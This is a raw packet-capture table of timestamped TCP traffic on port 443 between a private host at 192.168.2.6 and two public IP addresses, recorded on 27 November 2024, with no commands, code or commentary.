Nov 27, 2024 11:14:34.832387924 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.840145111 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.840173006 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.840209007 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.840219021 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.840246916 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.840265036 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.841378927 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.841393948 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.841430902 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.841455936 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.841468096 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.842977047 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.844775915 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.844795942 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.844854116 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.844866037 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.844902039 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.845350981 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.845376015 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.845422029 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.845436096 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.845455885 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.845479012 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.849869967 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.849886894 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.849925041 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.849931955 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.849956036 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.849971056 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.851651907 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.851675987 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.851716995 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.851723909 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.851761103 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.851761103 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.852166891 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.852185965 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.852217913 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.852227926 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.852250099 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.852267981 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.852369070 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.852401972 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.852433920 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.852444887 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.852504015 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.852677107 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.857219934 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.857302904 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.857330084 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.857338905 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.857366085 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.857383966 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.859915018 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.859946012 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.859971046 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.859981060 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.860007048 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.860024929 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.860574961 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.860599995 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.860637903 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.860651016 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.860662937 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.860687017 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.865715981 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.865731955 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.865777969 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.865794897 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.865808964 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.865834951 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.865994930 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.866013050 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.866058111 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.866065025 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.866090059 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.866108894 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.867619991 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.867657900 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.867687941 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.867702961 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.867717028 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.867738008 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.873056889 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.873083115 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.873128891 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.873138905 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.873182058 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.873244047 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.873272896 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.873301029 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.873306036 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.873333931 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.873346090 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.877012014 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.877043962 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.877094984 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.877115965 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.877131939 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.877146959 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.880296946 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.880316019 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.880397081 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.880408049 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.880462885 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.882889032 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.882905960 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.882973909 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.882981062 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.883021116 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.884259939 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.884284019 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.884337902 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.884346962 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.884377956 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.884396076 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.887512922 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.887528896 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.887582064 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.887594938 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.887712002 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.891396999 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.891421080 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.891463041 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.891474962 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.891503096 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.891513109 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.893932104 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.893953085 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.893982887 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.893994093 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.894020081 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.894021988 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.894037008 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.894038916 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.894077063 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.894081116 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.894098997 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.894115925 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.911737919 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.911767960 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.911802053 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.911814928 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.911870956 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.911870956 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.933074951 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.933175087 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.933212996 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.933291912 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.939100027 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.939166069 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.939177990 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.939330101 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.943629980 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.943697929 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.943708897 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.943866014 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.949357986 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.949419975 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.949450970 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.949568033 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.953605890 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.953672886 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.953686953 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.953738928 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.958180904 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.958249092 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.958265066 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.958379984 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.963198900 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.963258028 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.963284969 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.963339090 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.966171980 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.966259956 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.966272116 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.966306925 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.969218969 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.969280005 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.969288111 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.969324112 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.972685099 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.972745895 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.972753048 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.972816944 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.973297119 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.973319054 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.973364115 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.973376989 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.973390102 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.973412991 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.976502895 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.976562023 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.976581097 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.976615906 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.979437113 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.979492903 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.979513884 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.979556084 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.982445002 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.982497931 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.982507944 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.982593060 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.982738972 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.982758045 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.982798100 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.982805967 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.982830048 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.982840061 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.986341953 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.986403942 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.986412048 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.986457109 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.989335060 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.989394903 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.989403963 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.989442110 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.992167950 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.992198944 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.992238045 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.992244005 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.992269993 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.992281914 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.000238895 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.000277996 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.000307083 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.000313044 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.000343084 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.000356913 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.006000996 CET	443	49801	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:35.009694099 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.009737968 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.009771109 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.009778023 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.009814024 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.009833097 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.018479109 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.018511057 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.018559933 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.018567085 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.018604994 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.018615961 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.027863026 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.027893066 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.027924061 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.027930975 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.027986050 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.027996063 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.030922890 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.030951977 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.030998945 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.031061888 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.031085968 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.031105995 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.035489082 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.035512924 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.035588026 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.035602093 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.035615921 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.035805941 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.035829067 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.035867929 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.035881042 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.035908937 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.035911083 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.035931110 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.039037943 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.039055109 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.039113998 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.039127111 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.039154053 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.039172888 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.043235064 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.043265104 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.043324947 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.043334007 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.043375969 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.043670893 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.043705940 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.043731928 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.043746948 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.043765068 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.043782949 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.046159983 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.046202898 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.046252966 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.046258926 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.046308994 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.047568083 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.047595978 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.047657967 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.047672987 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.047698021 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.047719002 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.048567057 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.048609972 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.048629045 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.048649073 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.048662901 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.048664093 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.048681974 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.048708916 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.049057961 CET	443	49802	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:35.050805092 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.050833941 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.050898075 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.050911903 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.050937891 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.050961971 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.058921099 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.058954954 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.059163094 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.059173107 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.059401035 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.065892935 CET	49801	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:35.065920115 CET	443	49801	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:35.066744089 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.066771984 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.066871881 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.066884995 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.066927910 CET	49801	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:35.066940069 CET	443	49801	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:35.066965103 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.074676037 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.074763060 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.081116915 CET	49802	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:35.081149101 CET	443	49802	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:35.081706047 CET	49802	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:35.081711054 CET	443	49802	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:35.133498907 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.133574009 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.133605957 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.133702993 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.136106014 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.136209011 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.136218071 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.136251926 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.138926983 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.139004946 CET	49793	443	192.168.2.6	150.171.27.10
